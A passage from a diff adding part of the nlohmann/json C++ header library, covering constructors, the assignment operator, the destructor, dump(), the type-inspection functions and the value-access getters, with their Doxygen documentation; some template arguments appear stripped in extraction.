= create(cnt, val); + assert_invariant(); + } + + /*! + @brief construct a JSON container given an iterator range + + Constructs the JSON value with the contents of the range `[first, last)`. + The semantics depends on the different types a JSON value can have: + - In case of a null type, invalid_iterator.206 is thrown. + - In case of other primitive types (number, boolean, or string), @a first + must be `begin()` and @a last must be `end()`. In this case, the value is + copied. Otherwise, invalid_iterator.204 is thrown. + - In case of structured types (array, object), the constructor behaves as + similar versions for `std::vector` or `std::map`; that is, a JSON array + or object is constructed from the values in the range. + + @tparam InputIT an input iterator type (@ref iterator or @ref + const_iterator) + + @param[in] first begin of the range to copy from (included) + @param[in] last end of the range to copy from (excluded) + + @pre Iterators @a first and @a last must be initialized. **This + precondition is enforced with an assertion (see warning).** If + assertions are switched off, a violation of this precondition yields + undefined behavior. + + @pre Range `[first, last)` is valid. Usually, this precondition cannot be + checked efficiently. Only certain edge cases are detected; see the + description of the exceptions below. A violation of this precondition + yields undefined behavior. + + @warning A precondition is enforced with a runtime assertion that will + result in calling `std::abort` if this precondition is not met. + Assertions can be disabled by defining `NDEBUG` at compile time. + See https://en.cppreference.com/w/cpp/error/assert for more + information. + + @throw invalid_iterator.201 if iterators @a first and @a last are not + compatible (i.e., do not belong to the same JSON value). In this case, + the range `[first, last)` is undefined. + @throw invalid_iterator.204 if iterators @a first and @a last belong to a + primitive type (number, boolean, or string), but @a first does not point + to the first element any more. In this case, the range `[first, last)` is + undefined. See example code below. + @throw invalid_iterator.206 if iterators @a first and @a last belong to a + null value. In this case, the range `[first, last)` is undefined. + + @complexity Linear in distance between @a first and @a last. + + @exceptionsafety Strong guarantee: if an exception is thrown, there are no + changes to any JSON value. + + @liveexample{The example below shows several ways to create JSON values by + specifying a subrange with iterators.,basic_json__InputIt_InputIt} + + @since version 1.0.0 + */ + template < class InputIT, typename std::enable_if < + std::is_same::value || + std::is_same::value, int >::type = 0 > + basic_json(InputIT first, InputIT last) + { + JSON_ASSERT(first.m_object != nullptr); + JSON_ASSERT(last.m_object != nullptr); + + // make sure iterator fits the current value + if (JSON_HEDLEY_UNLIKELY(first.m_object != last.m_object)) + { + JSON_THROW(invalid_iterator::create(201, "iterators are not compatible")); + } + + // copy type from first iterator + m_type = first.m_object->m_type; + + // check if iterator range is complete for primitive values + switch (m_type) + { + case value_t::boolean: + case value_t::number_float: + case value_t::number_integer: + case value_t::number_unsigned: + case value_t::string: + { + if (JSON_HEDLEY_UNLIKELY(!first.m_it.primitive_iterator.is_begin() + || !last.m_it.primitive_iterator.is_end())) + { + JSON_THROW(invalid_iterator::create(204, "iterators out of range")); + } + break; + } + + default: + break; + } + + switch (m_type) + { + case value_t::number_integer: + { + m_value.number_integer = first.m_object->m_value.number_integer; + break; + } + + case value_t::number_unsigned: + { + m_value.number_unsigned = first.m_object->m_value.number_unsigned; + break; + } + + case value_t::number_float: + { + m_value.number_float = first.m_object->m_value.number_float; + break; + } + + case value_t::boolean: + { + m_value.boolean = first.m_object->m_value.boolean; + break; + } + + case value_t::string: + { + m_value = *first.m_object->m_value.string; + break; + } + + case value_t::object: + { + m_value.object = create(first.m_it.object_iterator, + last.m_it.object_iterator); + break; + } + + case value_t::array: + { + m_value.array = create(first.m_it.array_iterator, + last.m_it.array_iterator); + break; + } + + case value_t::binary: + { + m_value = *first.m_object->m_value.binary; + break; + } + + default: + JSON_THROW(invalid_iterator::create(206, "cannot construct with iterators from " + + std::string(first.m_object->type_name()))); + } + + assert_invariant(); + } + + + /////////////////////////////////////// + // other constructors and destructor // + /////////////////////////////////////// + + template, + std::is_same>::value, int> = 0 > + basic_json(const JsonRef& ref) : basic_json(ref.moved_or_copied()) {} + + /*! + @brief copy constructor + + Creates a copy of a given JSON value. + + @param[in] other the JSON value to copy + + @post `*this == other` + + @complexity Linear in the size of @a other. + + @exceptionsafety Strong guarantee: if an exception is thrown, there are no + changes to any JSON value. + + @requirement This function helps `basic_json` satisfying the + [Container](https://en.cppreference.com/w/cpp/named_req/Container) + requirements: + - The complexity is linear. + - As postcondition, it holds: `other == basic_json(other)`. + + @liveexample{The following code shows an example for the copy + constructor.,basic_json__basic_json} + + @since version 1.0.0 + */ + basic_json(const basic_json& other) + : m_type(other.m_type) + { + // check of passed value is valid + other.assert_invariant(); + + switch (m_type) + { + case value_t::object: + { + m_value = *other.m_value.object; + break; + } + + case value_t::array: + { + m_value = *other.m_value.array; + break; + } + + case value_t::string: + { + m_value = *other.m_value.string; + break; + } + + case value_t::boolean: + { + m_value = other.m_value.boolean; + break; + } + + case value_t::number_integer: + { + m_value = other.m_value.number_integer; + break; + } + + case value_t::number_unsigned: + { + m_value = other.m_value.number_unsigned; + break; + } + + case value_t::number_float: + { + m_value = other.m_value.number_float; + break; + } + + case value_t::binary: + { + m_value = *other.m_value.binary; + break; + } + + default: + break; + } + + assert_invariant(); + } + + /*! + @brief move constructor + + Move constructor. Constructs a JSON value with the contents of the given + value @a other using move semantics. It "steals" the resources from @a + other and leaves it as JSON null value. + + @param[in,out] other value to move to this object + + @post `*this` has the same value as @a other before the call. + @post @a other is a JSON null value. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this constructor never throws + exceptions. + + @requirement This function helps `basic_json` satisfying the + [MoveConstructible](https://en.cppreference.com/w/cpp/named_req/MoveConstructible) + requirements. + + @liveexample{The code below shows the move constructor explicitly called + via std::move.,basic_json__moveconstructor} + + @since version 1.0.0 + */ + basic_json(basic_json&& other) noexcept + : m_type(std::move(other.m_type)), + m_value(std::move(other.m_value)) + { + // check that passed value is valid + other.assert_invariant(); + + // invalidate payload + other.m_type = value_t::null; + other.m_value = {}; + + assert_invariant(); + } + + /*! + @brief copy assignment + + Copy assignment operator. Copies a JSON value via the "copy and swap" + strategy: It is expressed in terms of the copy constructor, destructor, + and the `swap()` member function. + + @param[in] other value to copy from + + @complexity Linear. + + @requirement This function helps `basic_json` satisfying the + [Container](https://en.cppreference.com/w/cpp/named_req/Container) + requirements: + - The complexity is linear. + + @liveexample{The code below shows and example for the copy assignment. It + creates a copy of value `a` which is then swapped with `b`. Finally\, the + copy of `a` (which is the null value after the swap) is + destroyed.,basic_json__copyassignment} + + @since version 1.0.0 + */ + basic_json& operator=(basic_json other) noexcept ( + std::is_nothrow_move_constructible::value&& + std::is_nothrow_move_assignable::value&& + std::is_nothrow_move_constructible::value&& + std::is_nothrow_move_assignable::value + ) + { + // check that passed value is valid + other.assert_invariant(); + + using std::swap; + swap(m_type, other.m_type); + swap(m_value, other.m_value); + + assert_invariant(); + return *this; + } + + /*! + @brief destructor + + Destroys the JSON value and frees all allocated memory. + + @complexity Linear. + + @requirement This function helps `basic_json` satisfying the + [Container](https://en.cppreference.com/w/cpp/named_req/Container) + requirements: + - The complexity is linear. + - All stored elements are destroyed and all memory is freed. + + @since version 1.0.0 + */ + ~basic_json() noexcept + { + assert_invariant(); + m_value.destroy(m_type); + } + + /// @} + + public: + /////////////////////// + // object inspection // + /////////////////////// + + /// @name object inspection + /// Functions to inspect the type of a JSON value. + /// @{ + + /*! + @brief serialization + + Serialization function for JSON values. The function tries to mimic + Python's `json.dumps()` function, and currently supports its @a indent + and @a ensure_ascii parameters. + + @param[in] indent If indent is nonnegative, then array elements and object + members will be pretty-printed with that indent level. An indent level of + `0` will only insert newlines. `-1` (the default) selects the most compact + representation. + @param[in] indent_char The character to use for indentation if @a indent is + greater than `0`. The default is ` ` (space). + @param[in] ensure_ascii If @a ensure_ascii is true, all non-ASCII characters + in the output are escaped with `\uXXXX` sequences, and the result consists + of ASCII characters only. + @param[in] error_handler how to react on decoding errors; there are three + possible values: `strict` (throws and exception in case a decoding error + occurs; default), `replace` (replace invalid UTF-8 sequences with U+FFFD), + and `ignore` (ignore invalid UTF-8 sequences during serialization; all + bytes are copied to the output unchanged). + + @return string containing the serialization of the JSON value + + @throw type_error.316 if a string stored inside the JSON value is not + UTF-8 encoded and @a error_handler is set to strict + + @note Binary values are serialized as object containing two keys: + - "bytes": an array of bytes as integers + - "subtype": the subtype as integer or "null" if the binary has no subtype + + @complexity Linear. + + @exceptionsafety Strong guarantee: if an exception is thrown, there are no + changes in the JSON value. + + @liveexample{The following example shows the effect of different @a indent\, + @a indent_char\, and @a ensure_ascii parameters to the result of the + serialization.,dump} + + @see https://docs.python.org/2/library/json.html#json.dump + + @since version 1.0.0; indentation character @a indent_char, option + @a ensure_ascii and exceptions added in version 3.0.0; error + handlers added in version 3.4.0; serialization of binary values added + in version 3.8.0. + */ + string_t dump(const int indent = -1, + const char indent_char = ' ', + const bool ensure_ascii = false, + const error_handler_t error_handler = error_handler_t::strict) const + { + string_t result; + serializer s(detail::output_adapter(result), indent_char, error_handler); + + if (indent >= 0) + { + s.dump(*this, true, ensure_ascii, static_cast(indent)); + } + else + { + s.dump(*this, false, ensure_ascii, 0); + } + + return result; + } + + /*! + @brief return the type of the JSON value (explicit) + + Return the type of the JSON value as a value from the @ref value_t + enumeration. + + @return the type of the JSON value + Value type | return value + ------------------------- | ------------------------- + null | value_t::null + boolean | value_t::boolean + string | value_t::string + number (integer) | value_t::number_integer + number (unsigned integer) | value_t::number_unsigned + number (floating-point) | value_t::number_float + object | value_t::object + array | value_t::array + binary | value_t::binary + discarded | value_t::discarded + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `type()` for all JSON + types.,type} + + @sa @ref operator value_t() -- return the type of the JSON value (implicit) + @sa @ref type_name() -- return the type as string + + @since version 1.0.0 + */ + constexpr value_t type() const noexcept + { + return m_type; + } + + /*! + @brief return whether type is primitive + + This function returns true if and only if the JSON type is primitive + (string, number, boolean, or null). + + @return `true` if type is primitive (string, number, boolean, or null), + `false` otherwise. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `is_primitive()` for all JSON + types.,is_primitive} + + @sa @ref is_structured() -- returns whether JSON value is structured + @sa @ref is_null() -- returns whether JSON value is `null` + @sa @ref is_string() -- returns whether JSON value is a string + @sa @ref is_boolean() -- returns whether JSON value is a boolean + @sa @ref is_number() -- returns whether JSON value is a number + @sa @ref is_binary() -- returns whether JSON value is a binary array + + @since version 1.0.0 + */ + constexpr bool is_primitive() const noexcept + { + return is_null() || is_string() || is_boolean() || is_number() || is_binary(); + } + + /*! + @brief return whether type is structured + + This function returns true if and only if the JSON type is structured + (array or object). + + @return `true` if type is structured (array or object), `false` otherwise. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `is_structured()` for all JSON + types.,is_structured} + + @sa @ref is_primitive() -- returns whether value is primitive + @sa @ref is_array() -- returns whether value is an array + @sa @ref is_object() -- returns whether value is an object + + @since version 1.0.0 + */ + constexpr bool is_structured() const noexcept + { + return is_array() || is_object(); + } + + /*! + @brief return whether value is null + + This function returns true if and only if the JSON value is null. + + @return `true` if type is null, `false` otherwise. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `is_null()` for all JSON + types.,is_null} + + @since version 1.0.0 + */ + constexpr bool is_null() const noexcept + { + return m_type == value_t::null; + } + + /*! + @brief return whether value is a boolean + + This function returns true if and only if the JSON value is a boolean. + + @return `true` if type is boolean, `false` otherwise. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `is_boolean()` for all JSON + types.,is_boolean} + + @since version 1.0.0 + */ + constexpr bool is_boolean() const noexcept + { + return m_type == value_t::boolean; + } + + /*! + @brief return whether value is a number + + This function returns true if and only if the JSON value is a number. This + includes both integer (signed and unsigned) and floating-point values. + + @return `true` if type is number (regardless whether integer, unsigned + integer or floating-type), `false` otherwise. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `is_number()` for all JSON + types.,is_number} + + @sa @ref is_number_integer() -- check if value is an integer or unsigned + integer number + @sa @ref is_number_unsigned() -- check if value is an unsigned integer + number + @sa @ref is_number_float() -- check if value is a floating-point number + + @since version 1.0.0 + */ + constexpr bool is_number() const noexcept + { + return is_number_integer() || is_number_float(); + } + + /*! + @brief return whether value is an integer number + + This function returns true if and only if the JSON value is a signed or + unsigned integer number. This excludes floating-point values. + + @return `true` if type is an integer or unsigned integer number, `false` + otherwise. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `is_number_integer()` for all + JSON types.,is_number_integer} + + @sa @ref is_number() -- check if value is a number + @sa @ref is_number_unsigned() -- check if value is an unsigned integer + number + @sa @ref is_number_float() -- check if value is a floating-point number + + @since version 1.0.0 + */ + constexpr bool is_number_integer() const noexcept + { + return m_type == value_t::number_integer || m_type == value_t::number_unsigned; + } + + /*! + @brief return whether value is an unsigned integer number + + This function returns true if and only if the JSON value is an unsigned + integer number. This excludes floating-point and signed integer values. + + @return `true` if type is an unsigned integer number, `false` otherwise. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `is_number_unsigned()` for all + JSON types.,is_number_unsigned} + + @sa @ref is_number() -- check if value is a number + @sa @ref is_number_integer() -- check if value is an integer or unsigned + integer number + @sa @ref is_number_float() -- check if value is a floating-point number + + @since version 2.0.0 + */ + constexpr bool is_number_unsigned() const noexcept + { + return m_type == value_t::number_unsigned; + } + + /*! + @brief return whether value is a floating-point number + + This function returns true if and only if the JSON value is a + floating-point number. This excludes signed and unsigned integer values. + + @return `true` if type is a floating-point number, `false` otherwise. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `is_number_float()` for all + JSON types.,is_number_float} + + @sa @ref is_number() -- check if value is number + @sa @ref is_number_integer() -- check if value is an integer number + @sa @ref is_number_unsigned() -- check if value is an unsigned integer + number + + @since version 1.0.0 + */ + constexpr bool is_number_float() const noexcept + { + return m_type == value_t::number_float; + } + + /*! + @brief return whether value is an object + + This function returns true if and only if the JSON value is an object. + + @return `true` if type is object, `false` otherwise. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `is_object()` for all JSON + types.,is_object} + + @since version 1.0.0 + */ + constexpr bool is_object() const noexcept + { + return m_type == value_t::object; + } + + /*! + @brief return whether value is an array + + This function returns true if and only if the JSON value is an array. + + @return `true` if type is array, `false` otherwise. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `is_array()` for all JSON + types.,is_array} + + @since version 1.0.0 + */ + constexpr bool is_array() const noexcept + { + return m_type == value_t::array; + } + + /*! + @brief return whether value is a string + + This function returns true if and only if the JSON value is a string. + + @return `true` if type is string, `false` otherwise. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `is_string()` for all JSON + types.,is_string} + + @since version 1.0.0 + */ + constexpr bool is_string() const noexcept + { + return m_type == value_t::string; + } + + /*! + @brief return whether value is a binary array + + This function returns true if and only if the JSON value is a binary array. + + @return `true` if type is binary array, `false` otherwise. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `is_binary()` for all JSON + types.,is_binary} + + @since version 3.8.0 + */ + constexpr bool is_binary() const noexcept + { + return m_type == value_t::binary; + } + + /*! + @brief return whether value is discarded + + This function returns true if and only if the JSON value was discarded + during parsing with a callback function (see @ref parser_callback_t). + + @note This function will always be `false` for JSON values after parsing. + That is, discarded values can only occur during parsing, but will be + removed when inside a structured value or replaced by null in other cases. + + @return `true` if type is discarded, `false` otherwise. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `is_discarded()` for all JSON + types.,is_discarded} + + @since version 1.0.0 + */ + constexpr bool is_discarded() const noexcept + { + return m_type == value_t::discarded; + } + + /*! + @brief return the type of the JSON value (implicit) + + Implicitly return the type of the JSON value as a value from the @ref + value_t enumeration. + + @return the type of the JSON value + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies the @ref value_t operator for + all JSON types.,operator__value_t} + + @sa @ref type() -- return the type of the JSON value (explicit) + @sa @ref type_name() -- return the type as string + + @since version 1.0.0 + */ + constexpr operator value_t() const noexcept + { + return m_type; + } + + /// @} + + private: + ////////////////// + // value access // + ////////////////// + + /// get a boolean (explicit) + boolean_t get_impl(boolean_t* /*unused*/) const + { + if (JSON_HEDLEY_LIKELY(is_boolean())) + { + return m_value.boolean; + } + + JSON_THROW(type_error::create(302, "type must be boolean, but is " + std::string(type_name()))); + } + + /// get a pointer to the value (object) + object_t* get_impl_ptr(object_t* /*unused*/) noexcept + { + return is_object() ? m_value.object : nullptr; + } + + /// get a pointer to the value (object) + constexpr const object_t* get_impl_ptr(const object_t* /*unused*/) const noexcept + { + return is_object() ? m_value.object : nullptr; + } + + /// get a pointer to the value (array) + array_t* get_impl_ptr(array_t* /*unused*/) noexcept + { + return is_array() ? m_value.array : nullptr; + } + + /// get a pointer to the value (array) + constexpr const array_t* get_impl_ptr(const array_t* /*unused*/) const noexcept + { + return is_array() ? m_value.array : nullptr; + } + + /// get a pointer to the value (string) + string_t* get_impl_ptr(string_t* /*unused*/) noexcept + { + return is_string() ? m_value.string : nullptr; + } + + /// get a pointer to the value (string) + constexpr const string_t* get_impl_ptr(const string_t* /*unused*/) const noexcept + { + return is_string() ? m_value.string : nullptr; + } + + /// get a pointer to the value (boolean) + boolean_t* get_impl_ptr(boolean_t* /*unused*/) noexcept + { + return is_boolean() ? &m_value.boolean : nullptr; + } + + /// get a pointer to the value (boolean) + constexpr const boolean_t* get_impl_ptr(const boolean_t* /*unused*/) const noexcept + { + return is_boolean() ? &m_value.boolean : nullptr; + } + + /// get a pointer to the value (integer number) + number_integer_t* get_impl_ptr(number_integer_t* /*unused*/) noexcept + { + return is_number_integer() ? &m_value.number_integer : nullptr; + } + + /// get a pointer to the value (integer number) + constexpr const number_integer_t* get_impl_ptr(const number_integer_t* /*unused*/) const noexcept + { + return is_number_integer() ? &m_value.number_integer : nullptr; + } + + /// get a pointer to the value (unsigned number) + number_unsigned_t* get_impl_ptr(number_unsigned_t* /*unused*/) noexcept + { + return is_number_unsigned() ? &m_value.number_unsigned : nullptr; + } + + /// get a pointer to the value (unsigned number) + constexpr const number_unsigned_t* get_impl_ptr(const number_unsigned_t* /*unused*/) const noexcept + { + return is_number_unsigned() ? &m_value.number_unsigned : nullptr; + } + + /// get a pointer to the value (floating-point number) + number_float_t* get_impl_ptr(number_float_t* /*unused*/) noexcept + { + return is_number_float() ? &m_value.number_float : nullptr; + } + + /// get a pointer to the value (floating-point number) + constexpr const number_float_t* get_impl_ptr(const number_float_t* /*unused*/) const noexcept + { + return is_number_float() ? &m_value.number_float : nullptr; + } + + /// get a pointer to the value (binary) + binary_t* get_impl_ptr(binary_t* /*unused*/) noexcept + { + return is_binary() ? m_value.binary : nullptr; + } + + /// get a pointer to the value (binary) + constexpr const binary_t* get_impl_ptr(const binary_t* /*unused*/) const noexcept + { + return is_binary() ? m_value.binary : nullptr; + } + + /*! + @brief helper function to implement get_ref() + + This function helps to implement get_ref() without code duplication for + const and non-const overloads + + @tparam ThisType will be deduced as `basic_json` or `const basic_json` + + @throw type_error.303 if ReferenceType does not match underlying value + type of the current JSON + */ + template + static ReferenceType get_ref_impl(ThisType& obj) + { + // delegate the call to get_ptr<>() + auto ptr = obj.template get_ptr::type>(); + + if (JSON_HEDLEY_LIKELY(ptr != nullptr)) + { + return *ptr; + } + + JSON_THROW(type_error::create(303, "incompatible ReferenceType for get_ref, actual type is " + std::string(obj.type_name()))); + } + + public: + /// @name value access + /// Direct access to the stored value of a JSON value. + /// @{ + + /*! + @brief get special-case overload + + This overloads avoids a lot of template boilerplate, it can be seen as the + identity method + + @tparam BasicJsonType == @ref basic_json + + @return a copy of *this + + @complexity Constant. + + @since version 2.1.0 + */ + template::type, basic_json_t>::value, + int> = 0> + basic_json get() const + { + return *this; + } + + /*! + @brief get special-case overload + + This overloads converts the current @ref basic_json in a different + @ref basic_json type + + @tparam BasicJsonType == @ref basic_json + + @return a copy of *this, converted into @tparam BasicJsonType + + @complexity Depending on the implementation of the called `from_json()` + method. + + @since version 3.2.0 + */ + template < typename BasicJsonType, detail::enable_if_t < + !std::is_same::value&& + detail::is_basic_json::value, int > = 0 > + BasicJsonType get() const + { + return *this; + } + + /*! + @brief get a value (explicit) + + Explicit type conversion between the JSON value and a compatible value + which is [CopyConstructible](https://en.cppreference.com/w/cpp/named_req/CopyConstructible) + and [DefaultConstructible](https://en.cppreference.com/w/cpp/named_req/DefaultConstructible). + The value is converted by calling the @ref json_serializer + `from_json()` method. + + The function is equivalent to executing + @code {.cpp} + ValueType ret; + JSONSerializer::from_json(*this, ret); + return ret; + @endcode + + This overloads is chosen if: + - @a ValueType is not @ref basic_json, + - @ref json_serializer has a `from_json()` method of the form + `void from_json(const basic_json&, ValueType&)`, and + - @ref json_serializer does not have a `from_json()` method of + the form `ValueType from_json(const basic_json&)` + + @tparam ValueTypeCV the provided value type + @tparam ValueType the returned value type + + @return copy of the JSON value, converted to @a ValueType + + @throw what @ref json_serializer `from_json()` method throws + + @liveexample{The example below shows several conversions from JSON values + to other types. There a few things to note: (1) Floating-point numbers can + be converted to integers\, (2) A JSON array can be converted to a standard + `std::vector`\, (3) A JSON object can be converted to C++ + associative containers such as `std::unordered_map`.,get__ValueType_const} + + @since version 2.1.0 + */ + template < typename ValueTypeCV, typename ValueType = detail::uncvref_t, + detail::enable_if_t < + !detail::is_basic_json::value && + detail::has_from_json::value && + !detail::has_non_default_from_json::value, + int > = 0 > + ValueType get() const noexcept(noexcept( + JSONSerializer::from_json(std::declval(), std::declval()))) + { + // we cannot static_assert on ValueTypeCV being non-const, because + // there is support for get(), which is why we + // still need the uncvref + static_assert(!std::is_reference::value, + "get() cannot be used with reference types, you might want to use get_ref()"); + static_assert(std::is_default_constructible::value, + "types must be DefaultConstructible when used with get()"); + + ValueType ret; + JSONSerializer::from_json(*this, ret); + return ret; + } + + /*! + @brief get a value (explicit); special case + + Explicit type conversion between the JSON value and a compatible value + which is **not** [CopyConstructible](https://en.cppreference.com/w/cpp/named_req/CopyConstructible) + and **not** [DefaultConstructible](https://en.cppreference.com/w/cpp/named_req/DefaultConstructible). + The value is converted by calling the @ref json_serializer + `from_json()` method. + + The function is equivalent to executing + @code {.cpp} + return JSONSerializer::from_json(*this); + @endcode + + This overloads is chosen if: + - @a ValueType is not @ref basic_json and + - @ref json_serializer has a `from_json()` method of the form + `ValueType from_json(const basic_json&)` + + @note If @ref json_serializer has both overloads of + `from_json()`, this one is chosen. + + @tparam ValueTypeCV the provided value type + @tparam ValueType the returned value type + + @return copy of the JSON value, converted to @a ValueType + + @throw what @ref json_serializer `from_json()` method throws + + @since version 2.1.0 + */ + template < typename ValueTypeCV, typename ValueType = detail::uncvref_t, + detail::enable_if_t < !std::is_same::value && + detail::has_non_default_from_json::value, + int > = 0 > + ValueType get() const noexcept(noexcept( + JSONSerializer::from_json(std::declval()))) + { + static_assert(!std::is_reference::value, + "get() cannot be used with reference types, you might want to use get_ref()"); + return JSONSerializer::from_json(*this); + } + + /*! + @brief get a value (explicit) + + Explicit type conversion between the JSON value and a compatible value. + The value is filled into the input parameter by calling the @ref json_serializer + `from_json()` method. + + The function is equivalent to executing + @code {.cpp} + ValueType v; + JSONSerializer::from_json(*this, v); + @endcode + + This overloads is chosen if: + - @a ValueType is not @ref basic_json, + - @ref json_serializer has a `from_json()` method of the form + `void from_json(const basic_json&, ValueType&)`, and + + @tparam ValueType the input parameter type. + + @return the input parameter, allowing chaining calls. + + @throw what @ref json_serializer `from_json()` method throws + + @liveexample{The example below shows several conversions from JSON values + to other types. There a few things to note: (1) Floating-point numbers can + be converted to integers\, (2) A JSON array can be converted to a standard + `std::vector`\, (3) A JSON object can be converted to C++ + associative containers such as `std::unordered_map`.,get_to} + + @since version 3.3.0 + */ + template < typename ValueType, + detail::enable_if_t < + !detail::is_basic_json::value&& + detail::has_from_json::value, + int > = 0 > + ValueType & get_to(ValueType& v) const noexcept(noexcept( + JSONSerializer::from_json(std::declval(), v))) + { + JSONSerializer::from_json(*this, v); + return v; + } + + // specialization to allow to call get_to with a basic_json value + // see https://github.com/nlohmann/json/issues/2175 + template::value, + int> = 0> + ValueType & get_to(ValueType& v) const + { + v = *this; + return v; + } + + template < + typename T, std::size_t N, + typename Array = T (&)[N], + detail::enable_if_t < + detail::has_from_json::value, int > = 0 > + Array get_to(T (&v)[N]) const + noexcept(noexcept(JSONSerializer::from_json( + std::declval(), v))) + { + JSONSerializer::from_json(*this, v); + return v; + } + + + /*! + @brief get a pointer value (implicit) + + Implicit pointer access to the internally stored JSON value. No copies are + made. + + @warning Writing data to the pointee of the result yields an undefined + state. + + @tparam PointerType pointer type; must be a pointer to @ref array_t, @ref + object_t, @ref string_t, @ref boolean_t, @ref number_integer_t, + @ref number_unsigned_t, or @ref number_float_t. Enforced by a static + assertion. + + @return pointer to the internally stored JSON value if the requested + pointer type @a PointerType fits to the JSON value; `nullptr` otherwise + + @complexity Constant. + + @liveexample{The example below shows how pointers to internal values of a + JSON value can be requested. Note that no type conversions are made and a + `nullptr` is returned if the value and the requested pointer type does not + match.,get_ptr} + + @since version 1.0.0 + */ + template::value, int>::type = 0> + auto get_ptr() noexcept -> decltype(std::declval().get_impl_ptr(std::declval())) + { + // delegate the call to get_impl_ptr<>() + return get_impl_ptr(static_cast(nullptr)); + } + + /*! + @brief get a pointer value (implicit) + @copydoc get_ptr() + */ + template < typename PointerType, typename std::enable_if < + std::is_pointer::value&& + std::is_const::type>::value, int >::type = 0 > + constexpr auto get_ptr() const noexcept -> decltype(std::declval().get_impl_ptr(std::declval())) + { + // delegate the call to get_impl_ptr<>() const + return get_impl_ptr(static_cast(nullptr)); + } + + /*! + @brief get a pointer value (explicit) + + Explicit pointer access to the internally stored JSON value. No copies are + made. + + @warning The pointer becomes invalid if the underlying JSON object + changes. + + @tparam PointerType pointer type; must be a pointer to @ref array_t, @ref + object_t, @ref string_t, @ref boolean_t, @ref number_integer_t, + @ref number_unsigned_t, or @ref number_float_t. + + @return pointer to the internally stored JSON value if the requested + pointer type @a PointerType fits to the JSON value; `nullptr` otherwise + + @complexity Constant. + + @liveexample{The example below shows how pointers to internal values of a + JSON value can be requested. Note that no type conversions are made and a + `nullptr` is returned if the value and the requested pointer type does not + match.,get__PointerType} + + @sa @ref get_ptr() for explicit pointer-member access + + @since version 1.0.0 + */ + template::value, int>::type = 0> + auto get() noexcept -> decltype(std::declval().template get_ptr()) + { + // delegate the call to get_ptr + return get_ptr(); + } + + /*! + @brief get a pointer value (explicit) + @copydoc get() + */ + template::value, int>::type = 0> + constexpr auto get() const noexcept -> decltype(std::declval().template get_ptr()) + { + // delegate the call to get_ptr + return get_ptr(); + } + + /*! + @brief get a reference value (implicit) + + Implicit reference access to the internally stored JSON value. No copies + are made. + + @warning Writing data to the referee of the result yields an undefined + state. + + @tparam ReferenceType reference type; must be a reference to @ref array_t, + @ref object_t, @ref string_t, @ref boolean_t, @ref number_integer_t, or + @ref number_float_t. Enforced by static assertion. + + @return reference to the internally stored JSON value if the requested + reference type @a ReferenceType fits to the JSON value; throws + type_error.303 otherwise + + @throw type_error.303 in case passed type @a ReferenceType is incompatible + with the stored JSON value; see example below + + @complexity Constant. + + @liveexample{The example shows several calls to `get_ref()`.,get_ref} + + @since version 1.1.0 + */ + template::value, int>::type = 0> + ReferenceType get_ref() + { + // delegate call to get_ref_impl + return get_ref_impl(*this); + } + + /*! + @brief get a reference value (implicit) + @copydoc get_ref() + */ + template < typename ReferenceType, typename std::enable_if < + std::is_reference::value&& + std::is_const::type>::value, int >::type = 0 > + ReferenceType get_ref() const + { + // delegate call to get_ref_impl + return get_ref_impl(*this); + } + + /*! + @brief get a value (implicit) + + Implicit type conversion between the JSON value and a compatible value. + The call is realized by calling @ref get() const. + + @tparam ValueType non-pointer type compatible to the JSON value, for + instance `int` for JSON integer numbers, `bool` for JSON booleans, or + `std::vector` types for JSON arrays. The character type of @ref string_t + as well as an initializer list of this type is excluded to avoid + ambiguities as these types implicitly convert to `std::string`. + + @return copy of the JSON value, converted to type @a ValueType + + @throw type_error.302 in case passed type @a ValueType is incompatible + to the JSON value type (e.g., the JSON value is of type boolean, but a + string is requested); see example below + + @complexity Linear in the size of the JSON value. + + @liveexample{The example below shows several conversions from JSON values + to other types. There a few things to note: (1) Floating-point numbers can + be converted to integers\, (2) A JSON array can be converted to a standard + `std::vector`\, (3) A JSON object can be converted to C++ + associative containers such as `std::unordered_map`.,operator__ValueType} + + @since version 1.0.0 + */ + template < typename ValueType, typename std::enable_if < + !std::is_pointer::value&& + !std::is_same>::value&& + !std::is_same::value&& + !detail::is_basic_json::value + && !std::is_same>::value +#if defined(JSON_HAS_CPP_17) && (defined(__GNUC__) || (defined(_MSC_VER) && _MSC_VER >= 1910 && _MSC_VER <= 1914)) + && !std::is_same::value +#endif + && detail::is_detected::value + , int >::type = 0 > + JSON_EXPLICIT operator ValueType() const + { + // delegate the call to get<>() const + return get(); + } + + /*! + @return reference to the binary value + + @throw type_error.302 if the value is not binary + + @sa @ref is_binary() to check if the value is binary + + @since version 3.8.0 + */ + binary_t& get_binary() + { + if (!is_binary()) + { + JSON_THROW(type_error::create(302, "type must be binary, but is " + std::string(type_name()))); + } + + return *get_ptr(); + } + + /// @copydoc get_binary() + const binary_t& get_binary() const + { + if (!is_binary()) + { + JSON_THROW(type_error::create(302, "type must be binary, but is " + 